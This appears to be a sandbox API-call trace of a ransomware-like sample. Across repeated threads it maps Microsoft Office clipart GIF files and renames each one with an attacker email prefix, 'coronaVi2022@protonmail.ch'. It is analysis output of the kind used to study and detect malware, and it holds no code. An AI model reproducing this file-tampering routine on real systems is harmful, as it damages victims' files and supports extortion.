	[0093.080] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 155
	[0093.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif")) returned 1
	[0093.081] free (_Block=0x51f0070) 
	[0093.081] RtlExitUserThread (Status=0x0) 

Thread:
	id = 443
	os_tid = 0x1774

	[0093.083] _alloca_probe () returned 0x40328a
	[0093.083] GetCurrentThreadId () returned 0x1774
	[0093.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0093.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c
	[0093.083] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5265) returned 1
	[0093.084] CreateFileMappingA (hFile=0x83c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1491, lpName=0x0) returned 0x980
	[0093.084] MapViewOfFile (hFileMappingObject=0x980, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.085] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.085] CloseHandle (hObject=0x980) returned 1
	[0093.085] GetCurrentThreadId () returned 0x1774
	[0093.085] FlushFileBuffers (hFile=0x83c) returned 1
	[0093.087] CloseHandle (hObject=0x83c) returned 1
	[0093.087] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 155
	[0093.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif")) returned 1
	[0093.088] free (_Block=0x51f60a0) 
	[0093.088] RtlExitUserThread (Status=0x0) 

Thread:
	id = 444
	os_tid = 0x1778

	[0093.090] _alloca_probe () returned 0x40328a
	[0093.090] GetCurrentThreadId () returned 0x1778
	[0093.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0093.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980
	[0093.090] GetFileSizeEx (in: hFile=0x980, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2605) returned 1
	[0093.091] CreateFileMappingA (hFile=0x980, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa39, lpName=0x0) returned 0x9a8
	[0093.091] MapViewOfFile (hFileMappingObject=0x9a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.092] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.092] CloseHandle (hObject=0x9a8) returned 1
	[0093.092] GetCurrentThreadId () returned 0x1778
	[0093.092] FlushFileBuffers (hFile=0x980) returned 1
	[0093.097] CloseHandle (hObject=0x980) returned 1
	[0093.098] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 155
	[0093.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif")) returned 1
	[0093.098] free (_Block=0x51f3088) 
	[0093.098] RtlExitUserThread (Status=0x0) 

Thread:
	id = 445
	os_tid = 0x177c

	[0093.099] _alloca_probe () returned 0x40328a
	[0093.100] GetCurrentThreadId () returned 0x177c
	[0093.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0093.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980
	[0093.100] GetFileSizeEx (in: hFile=0x980, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=10633) returned 1
	[0093.100] CreateFileMappingA (hFile=0x980, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2991, lpName=0x0) returned 0x9ac
	[0093.100] MapViewOfFile (hFileMappingObject=0x9ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0093.103] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0093.103] CloseHandle (hObject=0x9ac) returned 1
	[0093.103] GetCurrentThreadId () returned 0x177c
	[0093.103] FlushFileBuffers (hFile=0x980) returned 1
	[0093.104] CloseHandle (hObject=0x980) returned 1
	[0093.105] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 155
	[0093.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif")) returned 1
	[0093.105] free (_Block=0x51f4090) 
	[0093.106] RtlExitUserThread (Status=0x0) 

Thread:
	id = 446
	os_tid = 0x1780

	[0093.107] _alloca_probe () returned 0x40328a
	[0093.108] GetCurrentThreadId () returned 0x1780
	[0093.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0093.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ac
	[0093.108] GetFileSizeEx (in: hFile=0x9ac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15325) returned 1
	[0093.108] CreateFileMappingA (hFile=0x9ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3be9, lpName=0x0) returned 0x9b0
	[0093.108] MapViewOfFile (hFileMappingObject=0x9b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.112] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.112] CloseHandle (hObject=0x9b0) returned 1
	[0093.112] GetCurrentThreadId () returned 0x1780
	[0093.112] FlushFileBuffers (hFile=0x9ac) returned 1
	[0093.116] CloseHandle (hObject=0x9ac) returned 1
	[0093.116] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 155
	[0093.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif")) returned 1
	[0093.117] free (_Block=0x51f4090) 
	[0093.117] RtlExitUserThread (Status=0x0) 

Thread:
	id = 447
	os_tid = 0x1784

	[0093.119] _alloca_probe () returned 0x40328a
	[0093.119] GetCurrentThreadId () returned 0x1784
	[0093.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0093.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b0
	[0093.120] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5321) returned 1
	[0093.120] CreateFileMappingA (hFile=0x9b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14d1, lpName=0x0) returned 0x9b4
	[0093.120] MapViewOfFile (hFileMappingObject=0x9b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.122] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.122] CloseHandle (hObject=0x9b4) returned 1
	[0093.122] GetCurrentThreadId () returned 0x1784
	[0093.122] FlushFileBuffers (hFile=0x9b0) returned 1
	[0093.124] CloseHandle (hObject=0x9b0) returned 1
	[0093.124] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 155
	[0093.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif")) returned 1
	[0093.125] free (_Block=0x51f0070) 
	[0093.125] RtlExitUserThread (Status=0x0) 

Thread:
	id = 448
	os_tid = 0x1788

	[0093.127] _alloca_probe () returned 0x40328a
	[0093.127] GetCurrentThreadId () returned 0x1788
	[0093.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0093.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b4
	[0093.128] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4969) returned 1
	[0093.128] CreateFileMappingA (hFile=0x9b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1371, lpName=0x0) returned 0x9b8
	[0093.128] MapViewOfFile (hFileMappingObject=0x9b8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.129] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.130] CloseHandle (hObject=0x9b8) returned 1
	[0093.130] GetCurrentThreadId () returned 0x1788
	[0093.130] FlushFileBuffers (hFile=0x9b4) returned 1
	[0093.132] CloseHandle (hObject=0x9b4) returned 1
	[0093.132] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 155
	[0093.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif")) returned 1
	[0093.143] free (_Block=0x51f3088) 
	[0093.143] RtlExitUserThread (Status=0x0) 

Thread:
	id = 449
	os_tid = 0x178c

	[0093.145] _alloca_probe () returned 0x40328a
	[0093.146] GetCurrentThreadId () returned 0x178c
	[0093.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0093.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b8
	[0093.146] GetFileSizeEx (in: hFile=0x9b8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5045) returned 1
	[0093.146] CreateFileMappingA (hFile=0x9b8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b9, lpName=0x0) returned 0x9bc
	[0093.146] MapViewOfFile (hFileMappingObject=0x9bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.148] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.148] CloseHandle (hObject=0x9bc) returned 1
	[0093.148] GetCurrentThreadId () returned 0x178c
	[0093.148] FlushFileBuffers (hFile=0x9b8) returned 1
	[0093.150] CloseHandle (hObject=0x9b8) returned 1
	[0093.151] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 155
	[0093.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif")) returned 1
	[0093.151] free (_Block=0x51f4090) 
	[0093.151] RtlExitUserThread (Status=0x0) 

Thread:
	id = 450
	os_tid = 0x1798

	[0093.187] _alloca_probe () returned 0x40328a
	[0093.188] GetCurrentThreadId () returned 0x1798
	[0093.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0093.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc
	[0093.188] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1157) returned 1
	[0093.188] CreateFileMappingA (hFile=0x9bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x489, lpName=0x0) returned 0x9c0
	[0093.188] MapViewOfFile (hFileMappingObject=0x9c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.189] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.189] CloseHandle (hObject=0x9c0) returned 1
	[0093.189] GetCurrentThreadId () returned 0x1798
	[0093.190] FlushFileBuffers (hFile=0x9bc) returned 1
	[0093.191] CloseHandle (hObject=0x9bc) returned 1
	[0093.192] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 155
	[0093.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif")) returned 1
	[0093.193] free (_Block=0x51f5098) 
	[0093.193] RtlExitUserThread (Status=0x0) 

Thread:
	id = 451
	os_tid = 0x179c

	[0093.195] _alloca_probe () returned 0x40328a
	[0093.195] GetCurrentThreadId () returned 0x179c
	[0093.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", dwFileAttributes=0x80) returned 1
	[0093.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c0
	[0093.196] GetFileSizeEx (in: hFile=0x9c0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7609) returned 1
	[0093.196] CreateFileMappingA (hFile=0x9c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dc1, lpName=0x0) returned 0x9c4
	[0093.196] MapViewOfFile (hFileMappingObject=0x9c4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.198] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.198] CloseHandle (hObject=0x9c4) returned 1
	[0093.198] GetCurrentThreadId () returned 0x179c
	[0093.198] FlushFileBuffers (hFile=0x9c0) returned 1
	[0093.200] CloseHandle (hObject=0x9c0) returned 1
	[0093.200] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 155
	[0093.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif")) returned 1
	[0093.201] free (_Block=0x51f60a0) 
	[0093.201] RtlExitUserThread (Status=0x0) 

Thread:
	id = 452
	os_tid = 0x17a0

	[0093.203] _alloca_probe () returned 0x40328a
	[0093.203] GetCurrentThreadId () returned 0x17a0
	[0093.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0093.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c4
	[0093.203] GetFileSizeEx (in: hFile=0x9c4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7005) returned 1
	[0093.204] CreateFileMappingA (hFile=0x9c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b69, lpName=0x0) returned 0x9c8
	[0093.204] MapViewOfFile (hFileMappingObject=0x9c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.206] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.206] CloseHandle (hObject=0x9c8) returned 1
	[0093.206] GetCurrentThreadId () returned 0x17a0
	[0093.206] FlushFileBuffers (hFile=0x9c4) returned 1
	[0093.208] CloseHandle (hObject=0x9c4) returned 1
	[0093.208] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 155
